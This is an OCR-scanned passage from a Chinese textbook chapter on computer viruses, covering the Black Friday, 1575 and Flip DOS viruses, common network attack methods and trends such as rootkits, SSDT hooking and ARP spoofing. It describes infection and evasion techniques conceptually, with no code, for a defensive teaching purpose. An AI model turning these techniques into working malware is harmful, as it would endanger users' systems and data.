把 原来 的 请 求 传递 给 DOS。 然 后 DOS 就 会 正常 运行 这 个 (新 感染 ) 程 序 。 

驻 留 文 件 病毒 使 用 与 直接 操作 病毒 同样 的 技术 确定 目标 文件 是 否 已 经 感染 。 如 果 任 何 
一 个 程序 向 病毒 发 出 一 个 DOS 服务 请 求 , 那 么 用 户 以 任何 方式 执行 或 引用 的 这 个 程序 都 会 
被 感染 。 然 而 ,大 多 数 驻 留 文件 病毒 只 有 在 程序 执行 时 才 会 感染 它 。 

当 文 件 打开 时 感染 它 的 内 存 驻 留 文件 病毒 称 为 快速 感染 病毒 。 任 何 时候 当 一 个 文件 被 
复制 或 访问 时 ,病毒 都 会 去 感染 它 。 考 虑 一 下 如 果 一 个 用 户 使 用 标准 的 DOS 反 病 毒 扫描 程 
序 扫描 硬盘 中 的 文件 时 会 发 生 什 么 ”要 扫描 一 种 已 知 的 病毒 , 反 病 毒 扫描 程序 必须 在 计算 
机 上 打开 每 一 个 可 执行 程序 并 检查 其 内 容 。 每 次 当 反 病毒 程序 打开 一 个 新 的 程序 文件 时 ， 
它 就 会 发 出 一 个 DOS“Open file( 打 开 文 件 )” 服 务 请 求 , 这 就 会 触发 病毒 ,并 感染 就 要 被 扫 
描 的 程序 。 扫 描 带 有 病毒 驻 留 的 驱动 器 会 无 意 感染 计算 机 中 的 每 一 个 可 执行 文件 。 由 于 这 
个 原因 ,内 存 扫描 技术 是 所 有 的 反 病 毒 解决 方案 中 最 为 关键 的 部 分 。 

黑色 星期 五 是 早 在 1987 年 秋天 就 被 发 现 的 老牌 PC 病毒 , 它 流 传 最 广 ,变种 很 多 ,别名 
也 多 。 除 了 它 的 多 个 变种 之 外 ,基于 它 发 展 出 来 的 其 他 病毒 也 最 多 。 

黑色 星期 五 病毒 是 一 个 内 存 驻 留 型 的 病毒 , 其 代码 长 度 在 1808 一 1822 字 节 之 间 。 它 
感染 COM 型 文件 和 EXE 型 文件 , 一 些 变 种 也 感染 . SYS,. BIN 和 . PIF 文件 以 及 覆盖 文 
件 。 其 突出 特点 是 由 于 编程 上 的 漏洞 ,对 EXE 型 的 文件 会 发 生 反 复 感 染 的 现象 , 即 它 对 
EXE 型 被 感染 标志 的 判断 不 正确 ,对 已 被 它 感染 的 EXE 型 文件 当 作 尚未 被 感染 的 文件 又 
进行 感染 。 曾 经 发 现 的 一 个 例子 是 , 一 个 原 长 度 为 9KB 多 的 EXE 文件 ,被 反复 感染 了 
40 多 次 ,被 感染 文件 总 长 达到 近 100KB。 当 感染 有 黑色 星期 五 病毒 的 文件 运行 时 , 病毒 就 
驻 留 在 内 存 中 , 像 TSR 程序 一 样 驻 留 在 低 端 内 存 中 , 占 1792 字 节 。 病 毒 程序 截取 了 时 钟 
中 断 08H 和 DOS 中 断 21H。 以 后 再 运行 的 病毒 文件 车 检测 到 内 存 中 已 驻 有 与 自身 相同 的 
黑色 星期 五 病毒 ,就 不 再 驻 留 了 。 黑 色 星 期 五 感染 除了 COMMAND. COM 以 外 的 所 有 
COM 型 文件 和 EXE 型 文件 。 病 毒 代 码 位 于 COM 型 文件 的 前 部 ,而 在 EXE 型 文件 中 则 位 
于 文件 的 后 部 。 文 件 的 创建 时 间 和 日 期 在 被 感染 前 后 不 发 生变 化 ,这 是 由 于 病毒 使 用 了 
DOS 中 断 的 57H 功能 调用 的 缘故 。 病 毒 还 截取 了 时 钟 中 断 08H, 病毒 进入 内 存 半 小 时 之 
后 ,整个 PC 的 运行 速度 会 降低 到 原 速率 的 十 分 之 一 左右 , 并 在 屏幕 的 左下 角 开 出 一 个 黑色 
的 窗口 。 在 日 期 为 13 日 ,又 正好 是 星期 五 时 ,内 存 中 的 黑色 星期 五 病毒 就 会 删除 每 一 个 运 
行 的 可 执行 文件 。 这 是 很 凶狠 的 破坏 计算 机 内 软件 资源 的 手段 。 很 多 人 都 知道 黑色 星期 五 
感染 文件 后 ,会 在 文件 的 未 尾 放 有 标志 捉 “sSUMsDos”, 一 些 病 毒 检 测 程序 也 用 此 作为 识别 
黑色 星期 五 病毒 的 标志 。 但 是 很 多 黑色 星期 五 病毒 的 变种 已 将 这 个 标志 变 成 各 种 各 样 的 其 
他 字符 串 。 检 查 黑色 星期 五 病毒 是 否 驻 留 内 存 的 方法 是 检查 中 断 向 量 表 中 的 8 和 21 号 中 
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断 向 量 段 地 址 是 否 为 同一 地 址 ,以 及 执行 过 的 文件 是 否 被 加 长 ,特别 是 EXE 型 文件 是 否 被 
反复 加 长 。 由 于 黑色 星期 五 病毒 出 现 得 很 早 , 许 多 查 毒 软件 都 可 以 检查 和 清除 文件 的 病毒 
代码 。 

1575 这 种 文件 型 病毒 是 于 1991 年 1 月 被 发 现 的 。 它 感染 COM 型 和 EXE 型 的 所 有 文 
件 ,而 且 首 先 感染 COMMAND. COM , 当 硬 盘 上 的 这 个 系统 文件 被 感染 后 ,每 次 启动 时 病毒 
都 随 之 进驻 内 存 ,因此 具有 极 强 的 感染 能 力 。 据 报道 它 可 能 来 自 台 湾 。 当 1575 病毒 进入 内 
存 后 , 它 将 自身 搬移 到 640KB 之 内 的 高 端 内 存 ,使 用 的 汇编 指令 是 MOVSB。 通 过 自行 修 
改 MCB 内 存 控 制 块 ,1575 病毒 就 驻 留 在 内 存 中 ,这 就 是 内 存 窃取 技术 , 即 不 通过 DOS 调用 
就 自行 修改 内 存 的 分 配 , 以 期 达到 躲避 反 病 毒 检查 的 效果 。 实 际 上 ,现在 很 多 反 病 毒 的 系统 
都 已 具备 对 付 采 用 这 种 技术 的 手段 ,这 类 病毒 已 不 再 成 为 DOS 的 主要 威胁 了 。1575 病毒 
截取 了 用 户 时 钟 中 断 1CH 和 DOS 中 断 21H ,不 仅 当 用 户 使 用 DOS 的 DIR 命令 时 会 感染 
一 个 可 执行 文件 ,用 DOS 的 COPY 命令 时 也 会 进行 传染 ,但 是 在 执行 文件 时 不 进行 传染 。 
这 是 与 许多 文件 型 病毒 不 一 样 的 地 方 。1575 病毒 修改 中 断 向 量 表 , 因 此 ,用 检查 中 断 向 量 
表 的 办 法 可 以 得 知 是 否 有 病毒 已 驻 留 在 内 存 中 。 进 行 感染 时 ,病毒 将 其 在 内 存 中 的 代码 附 
加 在 被 感染 的 COM 型 和 EXE 型 文件 的 后 部 ,COM 型 文件 的 前 12 个 字 节 在 受到 转 存 后 被 
修改 成 病毒 代码 。 与 黑色 星期 五 病毒 不 一 样 ,被 感染 的 EXE 型 文件 不 会 被 反复 感染 。 
1575 病毒 的 标志 字 节 是 文件 末尾 的 0CH,0AH 两 字 节 。1575 病毒 感染 的 COM 型 文件 在 
修复 时 可 以 完全 恢复 原文 件 长 度 , 因 为 病毒 代码 是 固定 长 度 的 。 而 被 感染 的 EXE 型 文件 则 
无 法 在 清除 病毒 时 被 恢复 为 原文 件 长 度 , 这 与 黑色 星期 五 病毒 被 清除 出 EXE 型 文件 的 情况 
是 不 同 的 。 这 是 因为 1575 病毒 在 感染 前 并 不 保存 原文 件 的 长 度 , 而 且 其 代码 并 不 是 紧 挨 着 
原文 件 的 结尾 处 排放 的 。 病 毒 首先 将 原文 件 的 长 度 增长 到 16 的 倍数 ,再 将 自身 代码 追加 到 
原文 件 。 这 样 在 清除 时 就 无 法 判断 原始 长 度 , 被 修复 的 文件 总 是 带 有 1 一 15 个 字 节 的 废 字 
节 。 其 他 一 些 文件 型 病毒 也 有 这 种 情况 。 作 为 表现 模块 ,1575 病毒 在 屏幕 上 显示 一 条 红头 
绿 身体 的 毛毛 虫 , 边 疏 边 吃 ,把 屏幕 上 显示 的 字符 进行 搬 动 ,一 行 一 行 地 疏 ,直到 屏幕 最 下 一 
行 。 病 毒 在 这 里 利用 了 动态 修改 代码 的 办 法 ,发 作 时 把 表现 模块 的 第 一 句 改 成 NOP 指令 ， 
或 者 改 为 IRET 指令 ,不 执行 后 续 指令 直接 返回 。 现 在 已 有 好 几 种 1575 病毒 的 变种 了 ,如 
1591 等 。 


7.3.3 混合 型 病毒 


所 谓 混合 型 病毒 , 即 既 能 感染 引导 区 ,也 能 感染 文件 的 病毒 。 但 并 非 将 文件 型 病毒 和 引 
导 型 病毒 简单 地 笃 加 在 一 起 ,其 中 有 一 个 转换 过 程 , 这 是 最 关键 的 。 一 般 采 取 以 下 方法 : 在 
文件 中 的 病毒 执行 时 将 病毒 插入 引导 区 ,这 是 很 容易 理解 的 。 染 毒 硬盘 启动 时 ,用 引导 型 病 
毒 的 方法 驻 留 内 存 , 但 此 时 DOS 并 未 加 载 ,无 法 修改 INT 21 中 断 , 也 就 无 法 感染 文件 ,可 
以 用 这 样 的 办 法 : 修改 INT 8 中 断 , 保 存 INT 21 中 断 目前 的 地 址 ,用 INT 8 中 断 服务 程序 
监测 INT 21 中 断 的 地 址 是 否 改变 , 若 改变 则 说 明 DOS 已 加 载 , 则 可 修改 INT 21 中 断 指 向 
病毒 感染 段 。 以 上 是 混合 型 病毒 关键 之 处 。 

Flip 病毒 是 1990 年 在 前 联邦 德国 被 发 现 的 , 据 称 是 来 自 瑞士 。 病 毒 代码 长 度 为 
2343 字 节 ,感染 COM 型 和 EXE 型 文件 ,并 且 与 常规 文件 型 病毒 不 一 样 的 是 , 它 感染 硬盘 的 
主 引 导 扇 区 和 DOS 引导 扇 区 以 及 软盘 的 DOS 引导 扇 区 。 因 为 它 兼 有 两 种 病毒 的 特点 , 因 

。 260 。 


而 破坏 作用 很 大 。Flip 病毒 有 好 几 种 变种 , 有 的 变种 修改 了 原 Flip 病毒 的 代码 后 ,不 仅 能 
从 被 感染 的 EXE 型 文件 进行 传染 ,而 且 还 能 从 被 感染 的 COM 型 文件 进行 传染 。 另 一 种 变 
种 能 从 被 感染 的 硬盘 主 引导 扇 区 进行 传染 ,但 还 不 能 从 被 感染 的 软盘 引导 扇 区 进行 Flip 病 
毒 的 传染 。 这 种 病毒 是 驻 留 在 内 存 高 端的 , 占 640KB 可 用 RAM 的 2KB 多 。 被 感染 的 文件 
类 型 还 包括 覆盖 型 文件 。 被 感染 的 文件 经 常会 发 生 文件 存储 扇 区 的 链接 错误 ,并 因此 受 损 
坏 。 当 被 感染 的 硬盘 有 大 于 32MB 的 分 区 时 ,有 时 会 造成 分 区 损伤 ,使 该 分 区 的 总 容量 发 生 
变化 。 使 用 EGA 或 VGA 显示 器 的 PC, 当 从 被 病毒 感染 的 硬盘 上 启动 时 , 若 时 间 处 于 
16:00 和 16:59 之 间 时 ,会 遇 到 屏幕 显示 内 容 发 生 颠 倒 的 情况 。 正 由 于 此 ,Flip 病毒 又 被 称 
为 “错乱 ”病毒 。 为 防范 这 类 既 感 染 文 件 又 修改 引导 区 的 病毒 , 反 病毒 系统 就 应 具备 更 全 面 
的 对 抗 措 施 ,以 防 为 主 ,不 使 病毒 的 破坏 作用 得 以 实现 。 


7.3.4 Internet 病毒 


由 于 Internet 的 迅速 发 展 , 将 文件 附加 在 电子 邮件 中 的 能 力 不 断 提高 以 及 世界 对 计算 
机 的 依赖 程度 不 断 提高 ,使 得 病毒 的 扩散 速度 也 急剧 提高 , 受 感染 的 范围 越 来 越 广 。 据 
NCSA 调查 ,在 1994 年 中 ,只 有 约 20% 的 企业 受到 过 病毒 的 攻击 ,但 是 在 1997 年 中 ,就 有 
约 99.3% 的 企业 受到 病毒 的 攻击 ,也 就 是 说 几乎 没有 哪 一 家 企业 可 以 逃脱 病毒 的 攻击 。 而 
且 感 染 方式 也 由 主要 从 软盘 介质 感染 转 到 了 从 网 络 服务 器 或 Internet 感染 。 同 样 据 NCSA 
调查 ,在 1996 年 只 有 21% 左 右 的 病毒 是 通过 电子 邮件 、 服 务 器 或 Internet 下 载 来 感染 的 ， 
但 到 1997 年 ,这 一 比例 就 达到 52% 左 右 。 网 络 病毒 的 主要 类 型 有 : 系统 病毒 .蠕虫 病毒 ` 木 
马 病 毒 、 黑 客 病毒 ,脚本 病毒 、 宏 病毒 .后 门 病毒 等 。 

Internet 网 络 病毒 攻击 方式 有 如 下 几 种 。 

1. 获取 口令 

获取 口令 有 3 种 方法 : 一 是 通过 网 络 监听 非法 得 到 用 户口 令 , 这 类 方法 有 一 定 的 局 限 
性 ,但 危害 性 极 大 ,监听 者 往往 能 够 获得 其 所 在 网 段 的 所 有 用 户 账号 和 口令 ,对 局 域 网 安全 
威胁 巨大 ;二 是 在 知道 用 户 的 账号 后 (如 电子 邮件 @ 前 面 的 部 分 ) 利 用 一 些 专门 软件 强行 破 
解 用 户口 令 , 这 种 方法 不 受 网 段 限 制 ,但 黑客 要 有 足够 的 耐心 和 时 间 ; 三 是 在 获得 一 个 服务 
器 上 的 用 户口 令 文 件 ( 此 文件 成 为 Shadow 文件 ) 后 ,用 暴力 破解 程序 破解 用 户口 令 , 该 方法 
的 使 用 前 提 是 黑客 获得 口令 的 Shadow 文件 。 此 方法 危害 最 大 ,因为 它 不 需要 像 第 二 种 方 
法 那样 一 遍 又 一 遍地 尝试 登录 服务 器 ,而 是 在 本 地 将 加 密 后 的 口令 与 Shadow 文件 中 的 口 
令 相 比较 就 能 非常 容易 地 破获 用 户 密 码 , 尤 其 对 那些 口令 安全 系数 极 低 的 用 户 , 如 某 用 户 账 
号 为 zys, 其 口令 就 是 zys666,666666 或 干脆 就 是 zys 等 ,更 是 在 短 短 一 两 分 钟 内 ,甚至 几 十 
秒 内 就 可 以 将 问题 解决 。 

2. 放置 特洛伊 木马 程序 

特洛伊 木马 程序 可 以 直接 侵入 用 户 的 电脑 并 进行 破坏 , 它 常 被 伪装 成 工具 程序 或 者 游 
戏 等 , 诱 使 用 户 打开 带 有 特洛伊 木马 程序 的 邮件 附件 或 从 网 上 直接 下 载 ,一 旦 用 户 打 开 了 这 
些 邮 件 的 附件 或 者 执行 了 这 些 程 序 之 后 ,它们 就 会 像 古代 特洛伊 人 在 敌人 城 外 留 下 的 藏 满 
士兵 的 木马 一 样 留 在 自己 的 电脑 中 ,并 在 自己 的 计算 机 系统 中 隐藏 一 个 可 以 在 Windows 启 
动 时 悄悄 执行 的 程序 。 当 用 户 连接 到 因特网 上 时 ,这 个 程序 就 会 通知 黑客 ,来 报告 用 户 的 
IP 地 址 以 及 预先 设 定 的 端口 。 黑 客 在 收 到 这 些 信息 后 ,再 利用 这 个 潜伏 在 其 中 的 程序 ,就 
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可 以 任意 地 修改 用 户 计算 机 的 参数 设 定 、 复 制 文件 、 窥 视 用 户 整个 硬盘 中 的 内 容 等 ,从 而 达 
到 控制 用 户 计算 机 的 目的 。 

3. WWW 的 欺骗 技术 

在 网 上 用 户 可 以 利用 IE 等 浏览 器 进行 各 种 各 样 的 Web 站 点 访问 ,如 阅读 新 闻 、 咨 询 产 
品 价格 .订阅 报纸 、. 电 子 商 务 等 。 然 而 一 般 的 用 户 慌 怕 不 会 想到 有 这 些 问题 存在 : 正在 访问 
的 网 页 已 经 被 黑客 算 改 过 ,网 页 上 的 信息 是 虚假 的 ! 例如 黑客 将 用 户 要 浏览 的 网 页 的 URL 
改写 为 指向 黑客 自己 的 服务 器 , 当 用 户 浏览 目标 网 页 的 时 候 , 实 际 上 是 向 黑客 服务 器 发 出 请 
求 ,那么 黑客 就 可 以 达到 欺骗 的 目的 了 。 

4. 电子 邮件 攻击 

电子 邮件 攻击 主要 表现 为 两 种 方式 : 一 是 电子 邮件 稻 炸 和 电子 邮件 “滚雪球 ”, 也 就 是 
通常 所 说 的 邮件 炸弹 , 指 的 是 用 伪造 的 IP 地址 和 电子 邮件 地 址 向 同一 信箱 发 送 数 以 千 计 、 
万 计 甚 至 无 穷 多 次 的 内 容 相同 的 垃圾 邮件 ,致使 受害 人 邮箱 被 “ 炸 ”, 严 重 者 可 能 会 给 电子 邮 
件 服务 器 操作 系统 带 来 危险 ,甚至 瘫痪 ;二 是 电子 邮件 欺骗 ,攻击 者 伴 称 自己 为 系统 管理 员 
(邮件 地 址 和 系统 管理 员 完 全 相同 ) ,给 用 户 发 送 邮件 要 求 用 户 修 改口 令 ( 口 令 可 能 为 指定 字 
符 串 ?或 在 貌似 正常 的 附件 中 加 载 病毒 或 其 他 木马 程序 (例如 , 某 些 单位 的 网 络 管理 员 有 定 
期 给 用 户 免费 发 送 防 火 墙 升级 程序 的 义务 ,这 为 黑客 成 功 地 利用 该 方法 提供 了 可 乘 之 机 )， 
这 类 欺骗 只 要 用 户 提 高 警惕 ,一 般 危 害 性 不 是 太 大 。 

5. 通过 一 个 节点 来 攻击 其 他 节点 

黑客 在 突破 一 台 主 机 后 ,往往 以 此 主机 作为 根据 地 ,攻击 其 他 主机 (以 隐蔽 其 人 侵 路 径 ， 
避免 留 下 蛛丝马迹 ) 。 可 以 使 用 网 络 监听 方法 ,尝试 攻破 同一 网 络 内 的 其 他 主机 ;也 可 以 通 
过 IP 欺骗 和 主机 信任 关系 ,攻击 其 他 主机 。 这 类 攻击 很 狭 独 , 但 由 于 某 些 技术 很 难 掌握 ,如 
IP 欺骗 ,因此 较 少 被 黑客 使 用 。 

6. 网 络 监听 

网 络 监听 是 主机 的 一 种 工作 模式 ,在 这 种 模式 下 ,主机 可 以 接收 到 本 网 段 在 同一 条 物理 
通道 上 传输 的 所 有 信息 ,而 不 管 这 些 信息 的 发 送 方 和 接收 方 是 谁 。 此 时 ,如 果 两 台 主 机 进行 
通信 的 信息 没有 加 密 , 只 要 使 用 某 些 网 络 监听 工具 ,例如 : NetXray for Windows 2003/ 
Windows XP/Windows 2000/ Vista/ Windows ME, Wniffit for Linux, Solaries 等 就 可 以 轻 
而 易 举 地 截取 包括 口令 和 账号 在 内 的 信息 资料 。 虽 然 网 络 监 听 获 得 的 用 户 账号 和 口令 具有 
一 定 的 局 限 性 ,但 监听 者 往往 能 够 获得 其 所 在 网 段 的 所 有 用 户 账 号 及 口令 。 

许多 系统 都 有 这 样 或 那样 的 安全 漏洞 (Bugs) ,其 中 某 些 是 操作 系统 或 应 用 软件 本 身 具 
有 的 ,如 Sendmail 漏洞 .Windows 98 中 的 共享 目录 密码 验证 漏洞 和 IE5 漏洞 等 ,这 些 漏洞 
在 补丁 未 被 开发 出 来 之 前 一 般 很 难 防 御 黑 客 的 破坏 ,除非 将 网 线 拔 掉 。 还 有 一 些 漏洞 是 由 
于 系统 管理 员 配 置 错误 引起 的 ,如 在 网 络 文件 系统 中 ,将 目录 和 文件 以 可 写 的 方式 调 出 ,将 
未 加 Shadow 的 用 户 密码 文件 以 明码 方式 存放 在 某 一 目录 下 ,这 都 会 给 黑客 带 来 可 乘 之 机 ， 
应 及 时 加 以 修正 。 

8. 利用 账号 进行 攻击 

有 的 黑客 会 利用 操作 系统 提供 的 默认 账户 和 密码 进行 攻击 ,例如 许多 UNIX 主机 都 有 
FTP 和 Guest 等 默认 账户 (其 密码 和 账户 名 同名 ) ,有 的 甚至 没有 口令 。 黑 客 用 UNIX 操作 
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系统 提供 的 命令 如 Finger 和 Ruser 等 收集 信息 ,不 断 提 高 自己 的 攻击 能 力 。 这 类 攻击 只 要 
系统 管理 员 提 高 警惕 ,将 系统 提供 的 默认 账户 关 掉 或 提醒 无 口令 用 户 增加 口令 ,一般 都 能 
克服 。 

9. 偷 取 特权 

利用 各 种 特洛伊 木马 程序 、 后 门 程序 和 黑客 自己 编写 的 导致 缓冲 区 溢出 的 程序 进行 攻 
击 ,前 者 可 使 黑客 非法 获得 对 用 户 机 器 的 完全 控制 权 , 后 者 可 使 黑客 获得 超级 用 户 的 权限 ， 
从 而 拥有 对 整个 网 络 的 绝对 控制 权 。 这 种 攻击 手段 ,一 旦 奏效 ,危害 性 极 大 。 

网 络 可 以 成 为 计算 机 病毒 半 渗 透 的 障碍 。 如 普通 的 工作 站 病毒 完全 无 法 通过 任何 类 型 
的 网 络 。 然 而 ,不 同 的 网 络 类 型 会 受到 不 同类 型 病毒 的 感染 。 例 如 ,在 Internet 上 的 文件 病 
毒 可 以 毫 无 困难 地 发 送 。 然 而 可 执行 文件 病毒 却 不 能 通过 Internet 在 远程 站 点 感染 文件 。 
由 于 连接 到 Internet 上 的 一 台 计 算 机 不 能 在 另 一 台 连 接 到 Internet 的 计算 机 上 完成 鹿 区 级 
操作 ,所 以 引导 型 的 病毒 无 法 通过 Internet 传播 。 


7.4 计算 机 网 络 病毒 的 发 展 


自 20 世纪 80 年 代 以 来 ,微型 计算 机 已 在 我 国 社会 生活 的 各 方面 获得 了 广泛 的 普及 与 
应 用 。 微 机 已 成 为 教学 和 科研 工作 中 不 可 缺少 的 重要 工具 。 但 是 从 1988 年 以 来 ,计算 机 病 
毒 也 开始 在 我 国 出 现 并 迅速 泛滥 ,这 对 数据 的 安全 造成 了 极 大 的 威胁 ,也 妨碍 了 机 器 的 正常 
运行 。 到 了 20 世纪 90 年 代 , 随 着 我 国 各 类 计算 机 网 络 的 逐步 建立 与 普及 应 用 ,如 何 防止 病 
毒 侵入 网 络 以 及 如 何 保证 网 络 的 安全 运行 已 成 为 人 们 面临 的 一 个 重要 而 紧迫 的 问题 ,计算 
机 网 络 的 防 病毒 与 反 病 毒 技术 已 成 为 计算 机 操作 人 员 与 网 络 工作 人 员 必 须 了 解 与 掌握 的 一 
项 技术 。 

在 现 阶段 ,由 于 计算 机 网 络 系统 的 各 个 组 成 部 分 .接口 以 及 各 连接 层次 的 相互 转换 环节 
都 不 同 程度 地 存在 着 某 些 漏洞 和 薄弱 环节 ,而 网 络 的 特点 就 是 资源 共享 ,网 络 病毒 通过 感染 
网 络 服务 器 的 共享 资源 ,进而 通过 共享 信息 在 网 络 的 传递 把 病毒 快速 蔓延 并 影响 到 各 网 络 
用 户 的 数据 安全 以 及 机 器 的 正常 运行 。 所 以 计算 机 网 络 一 旦 染 上 病毒 ,其 影响 要 远 比 单机 
染 毒 更 大 ,破坏 性 也 更 大 ,计算 机 网 络 必须 要 具备 防范 网 络 病毒 破坏 的 功能 。 

对 于 基于 DOS 的 计算 机 病毒 ,网 络 可 以 分 为 以 下 3 种 类 型 。 

(1) 基于 文件 服务 器 的 局 域 网 ,用 户 可 以 把 数据 存储 到 一 个 或 多 个 中 央 文 件 服务 器 ,也 
可 以 从 中 取得 数据 。 

(2) 端 到 端 网 络 ,这 里 每 一 台 工 作 站 都 可 以 既 作 为 服务 器 又 作为 客户 机 。 在 Windows 95 
中 默认 情况 下 可 以 使 用 这 种 网 络 模型 。 

(3) 对 于 信息 高 速 公 路 网 络 (Internet) ,数据 从 网 络 中 流 过 ,但 是 不 存放 在 网 络 中 , 网络 
的 主要 作用 是 作为 数据 导管 。 

传统 型 病毒 的 一 个 特点 ,就 是 一 定 有 一 个 "寄主 ?程序 ,病毒 就 隐藏 在 这 些 程序 里 。 最 常 
见 的 就 是 一 些 可 执行 文件 , 像 扩 展 名 为 . exe 及 . com 的 文件 。 但 是 ,由 于 微软 的 Word 愈 来 
愈 流行 , 且 Word 所 提供 的 宏 命令 功能 又 很 强 , 使 用 Word 宏 命 令 写 出 来 的 病毒 也 愈 来 愈 
多 ,于 是 就 出 现 了 以 . doc 文件 为 “寄主 ”的 宏 病 毒 。 

另外 ,不 需要 寄主 的 病毒 也 出 现 了 ,它们 就 寄生 在 Internet 上 。 
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如 果 Internet 上 的 网 页 只 是 单纯 用 HTML 写成 的 话 ,那么 要 传播 病毒 的 机 会 可 以 说 是 
非常 小 了 。 但 是 ,为 了 让 网 页 看 起 来 更 生动 ,更 漂亮 ,许多 语言 也 纷纷 出 笼 ,其 中 最 有 名 的 就 
数 Java 和 ActiveX 了。 从 而 ,它们 就 成 为 新 一 代 病 毒 的 温床 。Java 和 ActiveX 的 执行 方 
式 ,是 把 程序 码 写 在 网 页 上 。 当 与 这 个 网 站 链接 时 ,浏览 器 就 把 这 些 程序 码 读 下 来 ,然后 用 
使 用 者 自己 系统 里 的 资源 去 执行 它 。 这 样 , 使 用 者 就 会 在 神 不 知 鬼 不 觉 的 状态 下 ,执行 了 一 
些 来 路 不 明 的 程序 。 

对 于 传统 病毒 来 讲 , 病 毒 是 寄生 在 “可 执行 的 ”程序 代码 中 的 。 新 的 病毒 的 机 理 告 诉 我 
们 ,病毒 本 身 是 能 执行 的 一 段 代码 ,但 它们 可 以 寄生 在 非 系统 可 执行 文档 里 。 只 是 这 些 文档 
被 一 些 应 用 软件 所 执行 。 

未 来 计算 机 病毒 发 展 主要 将 呈现 以 下 4 大 特征 。 

1. 综合 利用 多 种 编程 新 技术 的 病毒 将 成 为 主流 

从 Rootkit 技术 到 映像 劫持 技术 ,磁盘 过 滤 驱 动 到 还 原 系统 SSDT HOOK 以 及 还 原 其 
他 内 核 HOOK 技术 ,病毒 为 达到 目的 所 采取 的 手段 已 经 无 所 不 用 : 通过 Rootkit 技术 和 映 
像 劫持 技术 隐藏 自身 的 进程 .注册 表 键 值 ,通过 插 和 进程、 线程 避免 被 杀毒 软件 查 杀 ,通过 实 
时 监测 对 自身 进程 进行 回 写 ,避免 被 杀毒 软件 查 杀 ,通过 还 原 系统 SSDT HOOK 和 还 原 其 
他 内 核 HOOK 技术 破坏 反 病 毒 软 件 。 其 中 仅 映像 劫持 技术 就 包括 "进程 映像 劫持 " “磁盘 
映像 动 持 ”“ 域 名 映像 支持 ”“ 系 统 DLL 动态 链接 库 映像 劫持 等 多 种 方式 。 目 前 几乎 所 有 
的 盗 取 网 络 游戏 账号 的 木马 病毒 都 具备 了 上 述 一 种 以 上 的 技术 特征 ,几乎 所 有 最 新 的 程序 
应 用 技术 都 被 病毒 一 一 应 用 。 电 脑 一 旦 感染 病毒 ,普通 用 户 根本 无 能 力 彻底 清除 ,只 能 求助 
专业 技术 人 员 。 未 来 的 计算 机 病毒 将 综合 利用 以 上 新 技术 ,使 得 杀毒 软件 查 杀 难 度 更 大 。 

2. ARP 病毒 仍 将 成 为 局 域 网 最 大 祸害 

ARP 病毒 已 经 成 为 近年 来 企业 、 网 吧 、 校 园 网 络 等 局 域 网 的 最 大 威胁 。 此 类 病毒 采用 
ARP 局 域 网 挂 马 攻击 技术 ,利用 MAC 地 址 欺骗 ,传播 恶意 广告 或 病毒 程序 ,使 得 ARP 病 
毒 猩 狐 一 时 。ARP 病毒 发 作 时 ,通常 会 造成 网 络 掉 线 ,但 网 络 连接 正常 ,内 网 的 部 分 电脑 不 
能 上 网 ,或 者 所 有 电脑 均 不 能 上 网 ,无 法 打开 网 页 或 打开 网 页 慢 以 及 局 域 网 连接 时 断 时 续 并 
且 网 速 较 慢 等 现象 。 更 为 严重 的 是 ,ARP 病毒 新 变种 能 够 把 自身 伪装 成 网 关 , 在 所 有 用 户 
请 求 访问 的 网 页 添加 恶意 代码 ,导致 杀毒 软件 在 用 户 访问 任意 网 站 均 发 出 病毒 警报 ,用 户 下 
载 任何 可 执行 文件 , 均 被 蔡 换 为 病毒 ,严重 影响 到 企业 网 络 、 网 吧 ,校园 网 络 等 局 域 网 的 正常 
运行 。 

虽然 在 各 大 安全 厂商 的 努力 下 ,ARP 病毒 得 到 了 有 效 遏 制 , 但 由 于 众多 中 小 企业 用 户 
没有 足够 重视 病毒 的 危害 ,没有 采取 相应 的 防范 措施 ,因此 ,给 此 类 病毒 提供 了 生存 空间 , 预 
计 此 类 病毒 仍 将 在 很 长 一 段 时 间 内 成 为 祸害 局 域 网 的 主要 类 型 病毒 。 

3. 网 游 病毒 仍 将 大 行 其 道 , 逐 利 成 此 类 病毒 唯一 目标 

受 经 济 利 益 驱 使 ,利用 键盘 钧 子 、 内 存 截 取 或 封包 截取 等 技术 盗 取 网 络 游戏 玩家 的 游戏 
账号 游戏 密码 、 所 在 区 服 、 角 色 等 级 、 金 钱 数量 、 仓 库 密码 等 信息 资料 的 病毒 仍 十 分 活跃 。 
2008 年 上 半年 截获 的 新 木马 病毒 中 ,80% 以 上 都 与 瓷 取 网 络 游戏 账号 密码 有 关 。 病 毒 作 者 
的 牟利 目标 十 分 明确 ,就 是 盗 取 互联 网 上 有 价值 的 信息 和 资料 ,特别 是 网 络 游戏 账号 密码 以 
及 虚拟 装备 等 ,转卖 后 获取 利益 。 逐 利 已 成 为 此 类 病毒 的 唯一 动机 和 目标 , 随 着 网 络 游戏 的 
火爆 和 兴盛 ,此 类 病毒 仍然 有 着 庞大 的 市 场 和 生存 空间 , 仍 将 成 为 未 来 病毒 的 主流 。 
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4. 病毒 将 全 面 进入 驱动 级 

进入 2008 年 以 来 ,大 部 分 主流 病毒 技术 都 进入 了 驱动 级 ,病毒 已 经 不 再 一 味 逃 避 杀 毒 
软件 追 杀 ,而 是 开始 与 杀毒 软件 争 抢 系统 驱动 的 控制 权 , 在 争 抢 系 统 驱动 控制 权 后 , 转 而 控 
制 杀毒 软件 ,使 杀毒 软件 功能 失效 。 病 毒 通过 生成 驱动 程序 ,与 杀毒 软件 争 抢 系统 控制 权 
限 ,通过 修改 SSDT 表 等 技术 实现 Windows API HOOK, 从 而 使 得 杀毒 软件 监控 功能 
失效 。 

病毒 作者 通过 以 上 几 种 形式 传播 病毒 ,主要 目标 还 是 瞄准 经 济 利益 。 一 旦 用 户 电 脑 染 
毒 后 , 染 毒 电脑 中 所 有 有 价值 的 信息 ,包括 网 络 游戏 账号 密码 、 网 上 银行 账号 密码 、 网 上 证 券 
交易 账号 密码 都 面临 着 被 盗 的 危险 ,因此 需要 引起 用 户 的 足够 重视 。 

计算 机 病毒 表现 出 的 众多 新 特征 以 及 发 展 趋势 表明 ,目前 ,我 国 计 算 机 网 络 安全 形势 仍 
然 十 分 严峻 , 反 病毒 业者 面临 的 挑战 十 分 艰巨 ,需要 不 断 地 研发 推出 更 加 先进 的 计算 机 反 病 
毒 技 术 ,才能 应 对 和 超越 计算 机 病毒 的 发 展 , 为 电脑 和 网 络 用 户 提供 切实 的 安全 保障 。 作 为 
